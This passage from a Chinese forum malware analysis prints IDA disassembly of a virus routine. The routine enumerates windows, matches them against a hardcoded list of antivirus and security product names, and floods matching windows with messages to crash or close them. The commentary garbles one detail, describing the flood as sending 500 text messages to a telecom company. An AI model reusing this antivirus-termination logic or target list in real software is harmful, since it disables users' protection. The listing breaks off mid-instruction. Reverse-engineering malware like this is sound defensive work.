.text:00401AD0 56                push    esi                   ; DisableAllPrivileges= FALSE=esi=00000000
.text:00401AD1 FF 75 FC          push    [ebp+hObject]         ; TokenHandle=堆栈 ss:[0012E0AC]=000001AC
.text:00401AD4 C7 45 E4 01 00 00+mov     [ebp+NewState.PrivilegeCount], 1
.text:00401ADB FF 15 10 90 40 00 call    ds:AdjustTokenPrivileges ; |hToken = 000001AC
.text:00401ADB                                                 ; |DisableAllPrivileges = FALSE
.text:00401ADB                                                 ; |pNewState = 0012E094
.text:00401ADB                                                 ; |PrevStateSize = 0
.text:00401ADB                                                 ; |pPrevState = NULL
.text:00401ADB                                                 ; \pRetLen = NULL
.text:00401ADB                                                 ;
.text:00401ADB
.text:00401AE1 FF 75 FC          push    [ebp+hObject]         ; hObject
.text:00401AE4 FF 15 60 90 40 00 call    ds:CloseHandle
.text:00401AE4
.text:00401AEA
.text:00401AEA                   loc_401AEA:                   ; CODE XREF: sub_401A76+1Fj
.text:00401AEA 33 C0             xor     eax, eax
.text:00401AEA
.text:00401AEC
.text:00401AEC                   loc_401AEC:                   ; CODE XREF: sub_401A76+38j
.text:00401AEC 5E                pop     esi
.text:00401AED C9                leave
.text:00401AEE C3                retn
.text:00401AEE
.text:00401AEE                   sub_401A76 endp
[ 本帖最后由 一把锈剑 于 2008-3-1 14:13 编辑 ]

TOP

4.1.枚举包含特定字符的窗口与病毒自定义的字符串进行对比然后累死安全软件进程或者结束安全软件进程,发送500条短信给通信公司(包括 "cabinetwclass","mozillauiwindowclass","metapad","dr.web","avg ","arp","360safe","360anti","afx:","mcafee","eset","#32770-金山","thunderrt6main","木","#32770-SREng 介绍","#32770-@@升级","thunderrt6formdc-antivir","费尔","tapplication","微点","kv","monitor","#32770-"诊""具"","ewido","bitdefender","facelesswndproc","狙剑","防","云","墙","firewall", "escan","mcagent","em s","ty m","#32770-"扫描",)
复制内容到剪贴板
代码:

sub_403509(HWND hWnd)
.text:00403509                   sub_403509 proc near          ; CODE XREF: sub_403ABF+4p
.text:00403509                                                 ; sub_403ACF+1Fp
.text:00403509
.text:00403509                   String= byte ptr -272Ch
.text:00403509                   Msg= dword ptr -1Ch
.text:00403509                   dwProcessId= dword ptr -18h
.text:00403509                   var_14= dword ptr -14h
.text:00403509                   var_10= dword ptr -10h
.text:00403509                   var_C= dword ptr -0Ch
.text:00403509                   var_4= dword ptr -4
.text:00403509                   hWnd= dword ptr  8
.text:00403509
.text:00403509 B8 B4 81 40 00    mov     eax, offset loc_4081B4
.text:0040350E E8 AD 44 00 00    call    _EH_prolog
.text:0040350E
.text:00403513 B8 20 27 00 00    mov     eax, 2720h
.text:00403518 E8 C3 44 00 00    call    __alloca_probe
.text:00403518
.text:0040351D 53                push    ebx
.text:0040351E 56                push    esi
.text:0040351F 57                push    edi
.text:00403520 8D 4D F0          lea     ecx, [ebp+var_10]
.text:00403523 E8 A6 42 00 00    call    CString::CString(void)
.text:00403523
.text:00403528 33 DB             xor     ebx, ebx
.text:0040352A 8D 4D EC          lea     ecx, [ebp+var_14]
.text:0040352D 89 5D FC          mov     [ebp+var_4], ebx
.text:00403530 E8 99 42 00 00    call    CString::CString(void)
.text:00403530
.text:00403535 8B 7D 08          mov     edi, [ebp+hWnd]
.text:00403538 6A F0             push    0FFFFFFF0h            ; nIndex
.text:0040353A 57                push    edi                   ; hWnd
.text:0040353B C6 45 FC 01       mov     byte ptr [ebp+var_4], 1
.text:0040353F FF 15 04 94 40 00 call    ds:GetWindowLongA     ; |hWnd = 000400D4 (class='TPUtilWindow')
.text:0040353F                                                 ; \Index = GWL_STYLE
.text:0040353F
.text:00403545 89 45 E8          mov     [ebp+dwProcessId], eax
.text:00403548 BE 10 27 00 00    mov     esi, 2710h
.text:0040354D 8D 85 D4 D8 FF FF lea     eax, [ebp+String]
.text:00403553 56                push    esi                   ; nMaxCount
.text:00403554 50                push    eax                   ; lpClassName
.text:00403555 57                push    edi                   ; hWnd
.text:00403556 FF 15 08 94 40 00 call    ds:GetClassNameA      ; |hWnd = 000400D4 (class='TPUtilWindow')
.text:00403556                                                 ; |Buffer = 0012B97C
.text:00403556                                                 ; \Count = 2710 (10000.)
.text:00403556
.text:0040355C 8D 85 D4 D8 FF FF lea     eax, [ebp+String]
.text:00403562 8D 4D EC          lea     ecx, [ebp+var_14]
.text:00403565 50                push    eax
.text:00403566 E8 65 43 00 00    call    CString::operator=(char const *)
.text:00403566
.text:0040356B 8D 85 D4 D8 FF FF lea     eax, [ebp+String]
.text:00403571 56                push    esi                   ; nMaxCount
.text:00403572 50                push    eax                   ; lpString
.text:00403573 57                push    edi                   ; hWnd
.text:00403574 FF 15 0C 94 40 00 call    ds:GetWindowTextA     ; |hWnd = 000400D4 (class='TPUtilWindow')
.text:00403574                                                 ; |Buffer = 0012B97C
.text:00403574                                                 ; \Count = 2710 (10000.)
.text:00403574
.text:0040357A 8D 85 D4 D8 FF FF lea     eax, [ebp+String]
.text:00403580 8D 4D F0          lea     ecx, [ebp+var_10]
.text:00403583 50                push    eax
.text:00403584 E8 47 43 00 00    call    CString::operator=(char const *)
.text:00403584
.text:00403589 8D 4D EC          lea     ecx, [ebp+var_14]
.text:0040358C E8 51 43 00 00    call    CString::MakeLower(void)
.text:0040358C
.text:00403591 8D 4D F0          lea     ecx, [ebp+var_10]
.text:00403594 E8 49 43 00 00    call    CString::MakeLower(void)
.text:00403594
.text:00403599 68 BC C6 40 00    push    offset s_360L         ; "360安全"
.text:0040359E 8D 4D F0          lea     ecx, [ebp+var_10]
.text:004035A1 E8 36 43 00 00    call    CString::Find(char const *)
.text:004035A1
.text:004035A6 8B 35 10 94 40 00 mov     esi, ds:PostMessageA
.text:004035AC 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004035AF 75 36             jnz     short loc_4035E7
.text:004035AF
.text:004035B1 68 B0 C6 40 00    push    offset s_Lsass_exe    ; "lsass.exe"
.text:004035B6 8D 4D F0          lea     ecx, [ebp+var_10]
.text:004035B9 E8 1E 43 00 00    call    CString::Find(char const *)
.text:004035B9
.text:004035BE 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004035C1 75 24             jnz     short loc_4035E7
.text:004035C1
.text:004035C3 68 A4 C6 40 00    push    offset s_Smss_exe     ; "smss.exe"
.text:004035C8 8D 4D F0          lea     ecx, [ebp+var_10]
.text:004035CB E8 0C 43 00 00    call    CString::Find(char const *)
.text:004035CB
.text:004035D0 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004035D3 75 12             jnz     short loc_4035E7
.text:004035D3
.text:004035D5 68 94 C6 40 00    push    offset s_Pagefile_pif ; "pagefile.pif"
.text:004035DA 8D 4D F0          lea     ecx, [ebp+var_10]
.text:004035DD E8 FA 42 00 00    call    CString::Find(char const *)
.text:004035DD
.text:004035E2 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004035E5 74 2D             jz      short loc_403614
.text:004035E5
.text:004035E7
.text:004035E7                   loc_4035E7:                   ; CODE XREF: sub_403509+A6j
.text:004035E7                                                 ; sub_403509+B8j
.text:004035E7                                                 ; sub_403509+CAj
.text:004035E7 89 5D E4          mov     [ebp+Msg], ebx
.text:004035E7
.text:004035EA
.text:004035EA                   loc_4035EA:                   ; CODE XREF: sub_403509+F3j
.text:004035EA 53                push    ebx                   ; lParam
.text:004035EB 53                push    ebx                   ; wParam
.text:004035EC FF 75 E4          push    [ebp+Msg]             ; Msg
.text:004035EF 57                push    edi                   ; hWnd
.text:004035F0 FF D6             call    esi ; PostMessageA
.text:004035F0
.text:004035F2 FF 45 E4          inc     [ebp+Msg]
.text:004035F5 81 7D E4 F4 01 00+cmp     [ebp+Msg], 1F4h
.text:004035FC 7C EC             jl      short loc_4035EA
.text:004035FC
.text:004035FE 53                push    ebx                   ; lParam
.text:004035FF 53                push    ebx                   ; wParam
.text:00403600 6A 11             push    11h                   ; Msg
.text:00403602 57                push    edi                   ; hWnd
.text:00403603 FF D6             call    esi ; PostMessageA
.text:00403603
.text:00403605 53                push    ebx                   ; lParam
.text:00403606 6A 01             push    1                     ; wParam
.text:00403608 6A 16             push    16h                   ; Msg
.text:0040360A 57                push    edi                   ; hWnd
.text:0040360B FF D6             call    esi ; PostMessageA
.text:0040360B
.text:0040360D 53                push    ebx                   ; lParam
.text:0040360E 53                push    ebx                   ; wParam
.text:0040360F 6A 02             push    2                     ; Msg
.text:00403611 57                push    edi                   ; hWnd
.text:00403612 FF D6             call    esi ; PostMessageA
.text:00403612
.text:00403614
.text:00403614                   loc_403614:                   ; CODE XREF: sub_403509+DCj
.text:00403614 8B 3D 80 93 40 00 mov     edi, ds:_mbscmp
.text:0040361A 68 8C C6 40 00    push    offset s_Ieframe      ; "ieframe"
.text:0040361F FF 75 EC          push    [ebp+var_14]
.text:00403622 FF D7             call    edi ; _mbscmp         ; |s1 = "tputilwindow"
.text:00403622                                                 ; \s2 = "ieframe"
.text:00403622
.text:00403624 59                pop     ecx
.text:00403625 85 C0             test    eax, eax
.text:00403627 59                pop     ecx
.text:00403628 0F 84 68 04 00 00 jz      loc_403A96
.text:00403628
.text:0040362E 68 7C C6 40 00    push    offset s_Cabinetwclass ; "cabinetwclass"
.text:00403633 FF 75 EC          push    [ebp+var_14]
.text:00403636 FF D7             call    edi ; _mbscmp
.text:00403636
.text:00403638 59                pop     ecx
.text:00403639 85 C0             test    eax, eax
.text:0040363B 59                pop     ecx
.text:0040363C 0F 84 54 04 00 00 jz      loc_403A96
.text:0040363C
.text:00403642 68 64 C6 40 00    push    offset s_Mozillauiwind ; "mozillauiwindowclass"
.text:00403647 FF 75 EC          push    [ebp+var_14]
.text:0040364A FF D7             call    edi ; _mbscmp
.text:0040364A
.text:0040364C 59                pop     ecx
.text:0040364D 85 C0             test    eax, eax
.text:0040364F 59                pop     ecx
.text:00403650 0F 84 40 04 00 00 jz      loc_403A96
.text:00403650
.text:00403656 68 5C C6 40 00    push    offset s_Metapad      ; "metapad"
.text:0040365B FF 75 EC          push    [ebp+var_14]
.text:0040365E FF D7             call    edi ; _mbscmp
.text:0040365E
.text:00403660 59                pop     ecx
.text:00403661 85 C0             test    eax, eax
.text:00403663 59                pop     ecx
.text:00403664 0F 84 2C 04 00 00 jz      loc_403A96
.text:00403664
.text:0040366A 68 54 C6 40 00    push    offset s_Dr_web       ; "dr.web"
.text:0040366F 8D 4D F0          lea     ecx, [ebp+var_10]
.text:00403672 E8 65 42 00 00    call    CString::Find(char const *)
.text:00403672
.text:00403677 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:0040367A 0F 85 8E 03 00 00 jnz     loc_403A0E
.text:0040367A
.text:00403680 68 4C C6 40 00    push    offset s_Avg          ; "avg "
.text:00403685 8D 4D F0          lea     ecx, [ebp+var_10]
.text:00403688 E8 4F 42 00 00    call    CString::Find(char const *)
.text:00403688
.text:0040368D 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:00403690 0F 85 78 03 00 00 jnz     loc_403A0E
.text:00403690
.text:00403696 68 48 C6 40 00    push    offset s_Arp          ; "arp"
.text:0040369B 8D 4D F0          lea     ecx, [ebp+var_10]
.text:0040369E E8 39 42 00 00    call    CString::Find(char const *)
.text:0040369E
.text:004036A3 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004036A6 0F 85 62 03 00 00 jnz     loc_403A0E
.text:004036A6
.text:004036AC 68 40 C6 40 00    push    offset s_360safe      ; "360safe"
.text:004036B1 8D 4D EC          lea     ecx, [ebp+var_14]
.text:004036B4 E8 23 42 00 00    call    CString::Find(char const *)
.text:004036B4
.text:004036B9 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004036BC 0F 85 4C 03 00 00 jnz     loc_403A0E
.text:004036BC
.text:004036C2 68 38 C6 40 00    push    offset s_360anti      ; "360anti"
.text:004036C7 8D 4D EC          lea